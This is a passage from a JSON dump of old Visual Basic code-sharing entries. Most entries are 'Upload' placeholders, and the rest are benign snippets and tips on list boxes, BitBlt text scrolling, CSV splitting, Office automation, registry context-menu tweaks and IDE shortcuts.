Long, ByVal x As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal XSrc As Long, ByVal YSrc As Long, ByVal dwRop As Long) As Long\nSub Form_Load()\n Timer1.Enabled = True\n Timer1.Interval = 100\nEnd Sub\nSub Timer1_Timer()\n Static i As Integer\n i = i + 1\n If i < 10 Then\n ScrollText Picture1, \"Just a simple test #\" & i, True\n Else\n ScrollText Picture1, \"\", True\n End If\nEnd Sub\nSub ScrollText(pic As PictureBox, txt As String, up As Boolean)\n Dim ret As Long, vHeight As Long\n If pic.ScaleMode <> 3 Then pic.ScaleMode = 3\n vHeight = pic.TextHeight(txt)\n \n If up Then\n ret = BitBlt(pic.hDC, 0, -vHeight, pic.ScaleWidth, pic.ScaleHeight, pic.hDC, 0, 0, &HCC0020)\n pic.Line (0, pic.ScaleHeight - vHeight)-(pic.ScaleWidth, pic.ScaleHeight), pic.BackColor, BF\n pic.CurrentY = pic.ScaleHeight - vHeight\n Else 'down\n ret = BitBlt(pic.hDC, 0, vHeight, pic.ScaleWidth, pic.ScaleHeight, pic.hDC, 0, 0, &HCC0020)\n pic.Line (0, 0)-(pic.ScaleWidth, vHeight), pic.BackColor, BF\n pic.CurrentY = 0\n End If\n pic.CurrentX = (pic.ScaleWidth - pic.TextWidth(txt)) / 2 'centers text\n pic.Print txt\nEnd Sub\n"},{"WorldId":1,"id":11914,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11915,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11916,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11917,"LineNumber":1,"line":"'I know that this is commented in a very basicly\n'but if there is anyone who is really new to VB\n'and need help, it's available.\n'If you have any other questions, just e-mail me.\n'burbble@hotmail.com\n'Enjoy :)\n' ____\n' ___/____\\\n' #####\n' O O\n' <\n' |_____|\n \nDim LastLI As Integer\nDim INum As Integer 'Declare the 2 variables...\nPrivate Sub Command1_Click()\nIf List1.Text = \"\" Then 'Check if nothing is selected\nElse\nList2.AddItem List1.Text 'Add it\nEnd If\nEnd Sub\nPrivate Sub Command2_Click()\nOn Error GoTo ErrHand 'If there is an error, go perform ErrHand\nLastLI = (List2.ListIndex) 'Sets the Last index of the Listbox\nList2.RemoveItem (List2.ListIndex) 'Removes it\nList2.ListIndex = LastLI 'Reselects the previous selection\nErrHand: 'ErrHand, obviously :)\nIf Err.Number = 0 Then 'Error 0 is nothing, so don't do anything if there is an error 0\nElseIf Err.Number = 380 Then 'If the previous selection is unavailable then go to 1 less than that\nList2.ListIndex = LastLI - 1 'Another thing: Error 380 is performed if it cannot find the list index specified (can't remember the name of it off hand :)\nEnd If\nEnd Sub\nPrivate Sub Form_Load()\nTimer1.Enabled = True\nTimer1.Interval = 1\nList1.Top = 0\nList1.Left = 0\nList2.Top = 0\nList2.Left = 1200\nList1.Height = 1035\nList2.Height = 1035\nList1.Width = 1215\nList2.Width = 1215\nCommand1.Width = 1215\nCommand2.Width = 1215\nCommand1.Left = 0\nCommand1.Top = 1080\nCommand2.Top = 1080\nCommand2.Left = 1200\nCommand1.Height = 495\nCommand2.Height = 495\nCommand1.Caption = \"Add\"\nCommand2.Caption = \"Remove\"\nText1.Left = 0\nText1.Top = 1560\nText1.Height = 285\nText1.Width = 2415\nText1.Text = \"\"\nForm1.Height = 2310\nForm1.Width = 2535\n'All of this sets up the Positions of the controls\nFor i = 0 To 30\nList1.AddItem \"Item\" & INum\nINum = INum + 1\nNext i\n'Adds a few items\nINum = 0 'Clears it, pretty pointless really...\nEnd Sub\nPrivate Sub List1_DblClick()\nIf List2.Text = \"\" Then\nElse\nList2.AddItem List1.Text 'Same as clicking on the command button\nEnd If\nEnd Sub\nPrivate Sub List2_DblClick()\nOn Error GoTo ErrHand\nLastLI = (List2.ListIndex)\nList2.RemoveItem (List2.ListIndex)\nList2.ListIndex = LastLI 'This does the same as the command button\nErrHand:\nIf Err.Number = 0 Then\nElseIf Err.Number = 380 Then\nList2.ListIndex = LastLI - 1\nEnd If\nEnd Sub\nPrivate Sub Timer1_Timer()\nText1.Text = \"List1: \" & (List1.ListIndex) & \" List2: \" & (List2.ListIndex)\n'Simply displays the ListIndexes...\nEnd Sub"},{"WorldId":1,"id":11918,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11919,"LineNumber":1,"line":"Dim fso\nDim strFile As String\nSet fso = CreateObject(\"Scripting.FileSystemObject\")\nIf fso.FileExists(\"c:\\windows\\Calc.exe\") Then\n MsgBox \"It does exist\", vbInformation, \"Does Exist\"\n Else\n MsgBox \"It does not exist!\", vbExclamation, \"Doesn't Exist\"\n End If"},{"WorldId":1,"id":11920,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11921,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11922,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11923,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11924,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11926,"LineNumber":1,"line":"Hey webmaster ! upload failed numerous times :-( \nplease, if you want/can put this on your site.\nhttp://www.fictional.net/software/ImagicaTelnet/ImagicaTelnet.zip\n"},{"WorldId":1,"id":11934,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11939,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11943,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11944,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11947,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11949,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11954,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11958,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11965,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11967,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11968,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11970,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11972,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11977,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11978,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11982,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11984,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11985,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11991,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11993,"LineNumber":1,"line":"Option Explicit\nPublic Function PSplit(sInstring As String) As Variant\n'\n' Author: Scott Bingham, July 2000\n'\n' Function Name: ' PSplit = Proper Split.\n'\n' Versions: VB 6.0 (Should work with 5.0 also)\n'\n' Overview:\n' This function is for use when parsing(splitting) a data string that\n' has a comma delimiter. The normal VB Split function does not take into\n' consideration of a comma embedded within a Fields' data string and\n' will parse the information incorrectly.\n'\n' This function takes into consideration the a data field may contain\n' a comma and parses the data as entire string. The data string being defined\n' as the data between the two Double-Quote marks. This function also\n' prunes the leading and trailing double quote marks\n'\n' Notes : Does NOT Correct improperly formatted Numeric amounts that\n' : contain a comma for the thousands placement, unless the number has\n' : leading and trailing Double-Quote marks.\n'\n' Errors : NONE\n'\n' Call : X() = PSplit(datastring to split.)\n'\n' Returns : Single-Dimension array, same result that you get\n' from the SPLIT Function.\n\n Dim sDelim$, iStringLength%, iDelimPosition%, sDoubleQuoteMark$\n Dim iIndex%, aData1() As String, sDatafield$\n Dim iDQPos1%, iDQPos2%\n '\n sDoubleQuoteMark = Chr$(34)\n sDelim = \",\"\n iStringLength = Len(sInstring)\n iIndex = 0\n '\n ' if the length of the data string is greater than zero\n If iStringLength > 0 Then\n ' search for a sDelimiter in the datastring\n iDelimPosition = InStr(sInstring, sDelim)\n '\n Do While iDelimPosition <> 0\n ' do while there is a sDelimiter\n ' search for a quote-enclosure set.\n iDQPos1 = InStr(sInstring, sDoubleQuoteMark)\n sDatafield = \"\"\n '\n If iDQPos1 <> 0 And iDQPos1 < iDelimPosition Then\n ' found Double quote mark, and it is found BEFORE\n ' the sDelimiter. Search for matching Double Quote Mark\n iDQPos2 = InStr(iDQPos1 + 1, sInstring, sDoubleQuoteMark)\n If iDQPos2 <> 0 Then\n If iDQPos2 = Len(sInstring) Then\n ' this is the last field of data so we remove the\n ' surrounding Double-Quote Marks.\n sInstring = Right(sInstring, Len(sInstring) - 1)\n sInstring = Left(sInstring, Len(sInstring) - 1)\n 'exit the Do loop and\n Exit Do\n End If\n ' Just found the Matching double Quote Mark\n ' data field ends at iDQPos2, not iDelimPosition\n sDatafield = Left(sInstring, iDQPos2)\n sInstring = Right(sInstring, Len(sInstring) - (Len(sDatafield) + 1))\n sDatafield = Right(sDatafield, Len(sDatafield) - 1)\n sDatafield = Left(sDatafield, Len(sDatafield) - 1)\n iIndex = iIndex + 1\n Else\n ' unmatched double quote usually specifies error with the\n ' data being read in.\n \n End If\n Else\n If iDQPos1 <> 0 Then\n ' Quote mark is FOUND AFTER the sDelimiter meaning the\n ' data to the sDelimiter is ok to use as a full field.\n ' Data ends at the sDelimiter.\n sDatafield = Left(sInstring, iDelimPosition - 1)\n sInstring = Right(sInstring, Len(sInstring) - (Len(sDatafield) + 1))\n iIndex = iIndex + 1\n Else\n ' there is NO double Quote Mark Found.\n sDatafield = Left(sInstring, iDelimPosition - 1)\n sInstring = Right(sInstring, Len(sInstring) - iDelimPosition)\n iIndex = iIndex + 1\n End If\n End If\n ReDim Preserve aData1(iIndex)\n aData1(iIndex) = sDatafield\n iDelimPosition = InStr(sInstring, sDelim)\n Loop\n iIndex = iIndex + 1\n ReDim Preserve aData1(iIndex)\n aData1(iIndex) = sInstring\n Else\n End If\n PSplit = aData1\nEnd Function\n"},{"WorldId":1,"id":11999,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12002,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12004,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12006,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12008,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12010,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12016,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12017,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12018,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12019,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12020,"LineNumber":1,"line":"\n \n<ol>\n<li> Click on Start Menu, choose \"Run\".\n<li> Type \"regedit\" and click \"OK\".\n<li> On the left panel of Registry Editor, go to : \nMy Computer\\HKEY_CLASSES_ROOT\\dllfile \n(expand the tree with alot of folder icons, from \"My Computer\", then \"HKEY_CLASSES_ROOT\" and then \"dllfile\", by clicking the \"+\" sign) \n<li> Right click on \"dllfile\", choose \"New\" -> \"Key\".\n<li> Rename the new key to \"shell\". IT SHOULD BE AT THE SAME LEVEL AS THE \"DefaultIcon\" KEY! \n<li> Create another key named \"Register\" under \"shell\"\n<li> On the right panel, set \"(Default)\" string value into \"Register DLL\" by double clicking on it.\n<li> Create another key named \"command\" under \"Register\"\n<li> Again, set the \"(Default)\" string value under \"command\" to: \nC:\\windows\\system\\regsvr32.exe \"%1\" \n<li> Restart your computer.\n<li> Now, right-click on some DLL files, there should be an extra option \"Register DLL\". Click on it.\n<li> A message box will appear, displaying the success message.\n</ol>\nJust in case you want to add another option called \"Unregister DLL\", you can create another key named \"Unregister\" under \"shell\" (\"Unregister\" should be the same level as \"Register\") and set the \"(default)\" string value to \"Unregister DLL\". Under \"Unregister\", create another key called \"command\" and set the \"(default)\" string value to \n┬á┬á┬á┬áC:\\Windows\\System\\RegSvr32.Exe /u \"%1\" \nRestart your computer. \"Unregister DLL\" should be available in context menu. The same trick applies to all file types. Let me know if you still have any problem. \n \n\n<table>\n<tr>\n<td valign=\"top\">Note:</td>\n<td valign=\"top\">\n<ol>\n<li>To make the same option available for .OCX files, search for \"ocxfile\" key under \"HKEY_CLASSES_ROOT\" and repeat step 4 to 12\n<li>Let say if you want to add a shell option to a file with extension .ABC , you must find the \".ABC\" key under \"HKEY_CLASSES_ROOT\". Memorize the default value under the key, (eg, \"(Default)\" is set to \"ABCFile\"). Find the key with the same same as the value (in this case, the key name is \"ABCFile\"). Now repeat from step 4 to 12. IF YOU CREATE THE \"shell\" key under \".ABC\", THINGS WILL NOT WORK OUT!\n<li>Backup your registry file so that you can restore them, just in case anything worse happen. Choose \"Registry\" from the menu, then \"Export Registry File\". The rest should be self explainable. \n<li>Windows ME (and 2000?) already have this built-in function. The \"Open With\" context menu option now contains \"Microsoft(C) Register Server\". Clicking on it will register the DLL only but not unregister it!\n</td>\n</tr>\n</table>\n"},{"WorldId":1,"id":12021,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12023,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12024,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12025,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12026,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12028,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12029,"LineNumber":1,"line":"Public Sub Hook(frm As Form)\n ' HOOK! Place the Call Hook(Me) code in your desired form\n lpPrevWndProc = SetWindowLong(frm.hwnd, GWL_WNDPROC, AddressOf WindowProc)\nEnd Sub\nFunction WindowProc(ByVal hw As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long\n ' WINDOWPROC! Does the actual subclassing\n If uMsg = WM_GETMINMAXINFO Then\n Dim MinMax As MINMAXINFO\n CopyMemory MinMax, ByVal lParam, Len(MinMax)\n MinMax.ptMinTrackSize.X = 100 ' Set this to the min width in PIXELS (not twip!)\n MinMax.ptMinTrackSize.Y = 100 ' Set this to the min height in PIXELS (not twip!)\n CopyMemory ByVal lParam, MinMax, Len(MinMax)\n Else\n WindowProc = CallWindowProc(lpPrevWndProc, hw, uMsg, wParam, lParam)\n End If\nEnd Function\nPublic Sub Unhook(frm As Form)\n ' UNHOOK! Place the code Call Unhook(Me) in your form's Unload() event\n SetWindowLong frm.hwnd, GWL_WNDPROC, lpPrevWndProc\nEnd Sub\n"},{"WorldId":1,"id":12031,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12033,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12035,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12036,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12039,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12042,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12044,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12046,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12047,"LineNumber":1,"line":"Option Explicit\nDim px As Long, py As Long\nDim gapx As Long, gapy As Long\nPrivate Sub Form_Load()\n Set Image1.Container = Picture1\n Image1.Stretch = True\n Image1.Picture = LoadPicture(\"C:\\Windows\\Bubbles.bmp\")\n Picture1.Move 60, 60, 6000, 4000\n Image1.Move -1000, -1000, 10000, 10000\n Me.Move Screen.Width \\ 2 - 3100, Screen.Height \\ 2 - 2250, 6200, 4500\nEnd Sub\nPrivate Sub image1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\n px = X\n py = Y\n gapx = Picture1.Width - Image1.Width\n gapy = Picture1.Height - Image1.Height\n Image1.MousePointer = 15\nEnd Sub\nPrivate Sub image1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)\n Dim deltax As Long, deltay As Long\n If Button = vbLeftButton Then\n X = CLng(X)\n Y = CLng(Y)\n If Abs(X - px) < 30 Then\n ElseIf X < px Then\n deltax = Abs(X - px)\n If Image1.Left - deltax >= gapx Then\n Image1.Left = Image1.Left - deltax\n ElseIf gapx <= 0 Then\n Image1.Left = gapx\n Else\n Image1.Left = 0\n End If\n px = X + deltax\n ElseIf X > px Then\n deltax = Abs(X - px)\n If Image1.Left + deltax <= 0 Then\n Image1.Left = Image1.Left + deltax\n Else\n Image1.Left = 0\n End If\n px = X - deltax\n End If\n If Abs(Y - py) < 30 Then\n ElseIf Y < py Then\n deltay = Abs(Y - py)\n If Image1.Top - deltay >= gapy Then\n Image1.Top = Image1.Top - deltay\n ElseIf gapy <= 0 Then\n Image1.Top = gapy\n Else\n Image1.Top = 0\n End If\n py = Y + deltay\n ElseIf Y > py Then\n deltay = Abs(Y - py)\n If Image1.Top + deltay <= 0 Then\n Image1.Top = Image1.Top + deltay\n Else\n Image1.Top = 0\n End If\n py = Y - deltay\n End If\n End If\nEnd Sub\nPrivate Sub image1_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)\n Image1.MousePointer = 0\nEnd Sub\n"},{"WorldId":1,"id":12050,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12051,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12055,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12056,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12057,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12065,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12075,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12077,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12078,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12080,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12081,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12084,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12091,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12092,"LineNumber":1,"line":"Private Function ShiftDown()\n Dim RetVal As Long\n RetVal = GetAsyncKeyState(16) 'SHIFT key\n If (RetVal And 32768) <> 0 Then\n ShiftDown = True\n Else\n ShiftDown = False\n End If\nEnd Function\n"},{"WorldId":1,"id":12094,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12095,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12096,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12097,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12099,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12100,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12101,"LineNumber":1,"line":"Option Explicit\n'Create an object to refererence the Outlook App.\n'This is simular to a pointer and is declared in this way...\n'...to allow early binding, making the code more efficient.\nPrivate o1 As Outlook.Application\nPrivate Sub Form_Load()\n \n 'Create an instance of Outlook\n Set o1 = New Outlook.Application\nEnd Sub\nPrivate Sub Form_Terminate()\n \n 'Comment out this line if you don't want to close Outlook\n o1.Quit\n \n 'The next line frees up the memory used\n Set o1 = Nothing\n \nEnd Sub\n\nPrivate Sub CreateEmail(Recipient As String, Subject As String, Body As String, Attach As String)\n \n 'Create a reference to a mail item\n Dim e1 As Outlook.MailItem\n \n 'Create a new mail item\n Set e1 = o1.CreateItem(olMailItem)\n \n 'Set a few of the many possible message parameters.\n e1.To = Recipient\n e1.Subject = Subject\n e1.Body = Body\n \n 'This is how you add attatchments\n If Attach <> vbNullString Then\n e1.Attachments.Add Path\n End If\n \n 'Commit the message\n e1.Send\n 'Free up the space\n Set e1 = Nothing\n \nEnd Sub\n\nPrivate Sub CreateContact(Name As String, Nick As String, Email As String)\n \n 'Create a reference to a Contact item\n Dim e1 As Outlook.ContactItem\n \n 'Create a new contact item\n Set e1 = o1.CreateItem(olContactItem)\n \n 'Set a few of the many possible contact parameters.\n e1.FullName = Name\n e1.NickName = Nick\n e1.Email1Address = Email\n \n 'Commit the contact\n e1.Save\n 'Free up the space\n Set e1 = Nothing\n \nEnd Sub\nPrivate Sub CreateAppointment(StartTime As Date, Endtime As Date, Subject As String, Location As String)\n \n 'Create a reference to a Appointment item\n Dim e1 As Outlook.AppointmentItem\n \n 'Create a new appointment item\n Set e1 = o1.CreateItem(olAppointmentItem)\n \n 'Set a few of the many possible appointment parameters.\n e1.Start = StartTime\n e1.End = Endtime\n e1.Subject = Subject\n e1.Location = Location\n \n 'If you want to set a list of recipients, do it like this\n 'e1.Recipients.Add Name\n \n 'Commit the appointment\n e1.Send\n 'Free up the space\n Set e1 = Nothing\n \nEnd Sub\n"},{"WorldId":1,"id":12102,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12103,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12104,"LineNumber":1,"line":"When editing a line source code sometimes you need to move to another line to copy or make changes there.\nBy default a horrible MessageBox appears telling you that the line you were editing has incorrect syntax.\nYou can prevent this by entering in:\n Tools > Options\n...and unselect \"Auto Syntax Check\"\nThe incomplete line still turns red but the annoying box is now gone!"},{"WorldId":1,"id":12105,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12106,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12107,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12114,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12117,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12118,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12126,"LineNumber":1,"line":"Option Explicit\n'Create a reference to the Word Automation Object\nDim w1 As Word.Application\nPrivate Sub Command1_Click()\n Dim I As Variant\n 'Empty the list box\n List1.Clear\n \n 'Check the spelling of the word...\n 'If not in dictionary, fill a list box with suggestions\n If w1.CheckSpelling(Text1.Text) = False Then\n Beep\n For Each I In w1.GetSpellingSuggestions(Text1.Text)\n List1.AddItem I\n Next\n If List1.ListCount = 0 Then\n List1.AddItem \"No suggestions\"\n End If\n Else\n List1.AddItem \"Spelling Correct\"\n End If\n \nEnd Sub\nPrivate Sub Form_Load()\n 'Open a new instance of Word\n Set w1 = New Word.Application\n 'Create a new document (necessary)\n w1.Application.Documents.Add\n \n 'Disable the following line if you don't want to see Word\n w1.Visible = True\nEnd Sub\nPrivate Sub Form_Terminate()\n 'Quit, ignoring changes\n w1.Quit False\n Set w1 = Nothing\nEnd Sub\n"},{"WorldId":1,"id":12127,"LineNumber":1,"line":"Intellisense:\nVB is very kind in that as you start typing code it shows you a list of compatible objects that you can select from by using the tab and cursor keys.\nThis is called intellisense.\nBut if you select the wrong word and try to go back, the box doesn't reappear by itself.\nI used to delete the whole word and the space or dot or parentheses and retype it to make the list reappear again.... until I discovered a keyboard shortcut!!!!!\n Ctrl+J - Makes the list appear again!\n Ctrl+Space - Completes your typing!\nQuick Info:\nThe same thing happens with Quick Info (the tooltip which shows you the purpose and type of each parameter in a method/function):\n Ctrl+I - Reshows Quick Info\nMove between Open Editor Windows:\n Ctrl+Tab\nDisplay the Immediate (Debug) Window:\n Ctrl+G\nStop Execution:\nWhen your program put VB in endless loops this keyboard shortcut is usually successfull:\n Ctrl+Break - Stop exectution\nGoto Definition:\nTo move quickly to a function/method or variable definition:\n Shift+F2"},{"WorldId":1,"id":12131,"LineNumber":1,"line":"Because of GUI standards, you wouldn't want to use this technic very often. But there are circumstance in which you want to present data without allowing the user editing privileges.\nJust using the locking mechanism still allows the user to to click in the control, highlight the text and shows up in the tab order. Here is a better way.\nAdd a frame to your form. Set the border style to 0 - None. Place the text box in the frame (with with its accompaning label) at the top of the frame. Size the frame to show just the text box and its label. Now you can control the enable/disable property on the frame.\nThe text box and label appear normal but it won't allow the user the click in the box, tab to the control or edit data when the frame is disabled. To allow the user access, just enable the frame."},{"WorldId":1,"id":12132,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12134,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12137,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12138,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12139,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12140,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12141,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12142,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12144,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12145,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12146,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12147,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12149,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12152,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12153,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12156,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12163,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12167,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12168,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12171,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12180,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12183,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12192,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12198,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12199,"LineNumber":1,"line":"COM+ In the .net Frameworked Vb\nVisual Basic has been named for its Rapid Fast Application Creation facility\nBut it has been lacking on the object Orientation which limited its acceptance to\nthe creation of middle tier appication .The new .Net Version of the VB has elimiated \nthis Problem by Becoming Object Oriented.With this new Features VB delivers the \npower of C++,Java and Maintaning the Instant development Interface\n\nSome of the new Features are\n1)Overloading\nOverloading allows objects 's Methods and operators to have different meaning \ndepending on their context.Operators behave Differently Depending on the datatype\nFor example\noverloads sub myarticle(x as char)\noverloads sub myarticle(x as integer)\noverloads sub myarticle(x as string)\nAll the three functions will be different with the forth coming version of Vb but which\nhas been followed conventionally in C++\n\n2)Inheritence\nThe .Net vb Suppts Inheritenc.So Provides way for Code Reuse.\nExample\nclass article\n\tfunction main()\n\ta=100\n\tend function\nclass newarticle\n\tinherits article\n\toverloads function main()\n\ta1=100\n\tend function\n3)Freethreading\nThe new .Net Version has Introduced a Concept called as Free threading.where by\ncomplex Queries ,Calculations can run in a seperate Process and the main program\ncan run normally without strains in seperate thread.\t\n\n"},{"WorldId":1,"id":12200,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12202,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12205,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12209,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12210,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12217,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12218,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12221,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12224,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12226,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12227,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12231,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12233,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12237,"LineNumber":1,"line":"Dear Friends,\nKindly see the attached ZIP for the article and associated projects. Anyway, here is a short introduction. As you know, now a days, the term Application\nServer is becoming so hot. An Application Server\nis a software that runs on the middle layer. I mean; it runs between a thin front end (in this case the web browser) and\nback end servers.\nMost Application Servers rely on Internet Servers, to pass\ninformation/data to clients on the web. Application Servers are expected to support COM (Component Object Model) and/or CORBA (Common\nObject Request Broker Architecture) frameworks. \n \nIn this case, we are creating an Application Server that supports COM interface.\nAfter reading this, you can\n<ul>\n <li>Get an idea about Application Servers.</li>\n <li>Create and use your own COM based Application Servers.</li>\n <li>Write directly to RESPONSE object from\n a COM component (Got it? Instead of passing a value back to a variable in ASP to write it to response object, write\n directly to response object from your component)</li>\n <li>See how to integrate additional logic (say your existing\n business COM objects) using our Application Server</li>\n</ul>\nAlso, if you are the CEO of an IT/Web\ncompany, don't forget to read about my ventures in the preface section\n:-).┬á OOPS, forgot to tell all of you one thing; VOTE for me please,\nbecause I took nearly 6-7 hours to write this completely :-) (ofcourse, the brain work is extra.lol.)\nAlways ur's Anoop, <a href=\"mailto:anoopj13@yahoo.com\">anoopj13@yahoo.com</a>\n┬á\n"},{"WorldId":1,"id":12239,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12240,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12241,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12242,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12244,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12245,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12248,"LineNumber":1,"line":"Private Sub CreateHyperlink(Path As String, Hyperlink as String)\n Open Path For Output As #1 'open file access\n Print #1, \"[Internetshortcut]\" 'print on first line\n Print #1, \"URL=\" & Hyperlink 'print url on second line\n Close #1 'close it\nEnd Sub"},{"WorldId":1,"id":12249,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12251,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12253,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12256,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12260,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12261,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12263,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12264,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12269,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12270,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12273,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12283,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12294,"LineNumber":1,"line":"Article Written by\nManikantan\n3rd Agenda,\nWeb 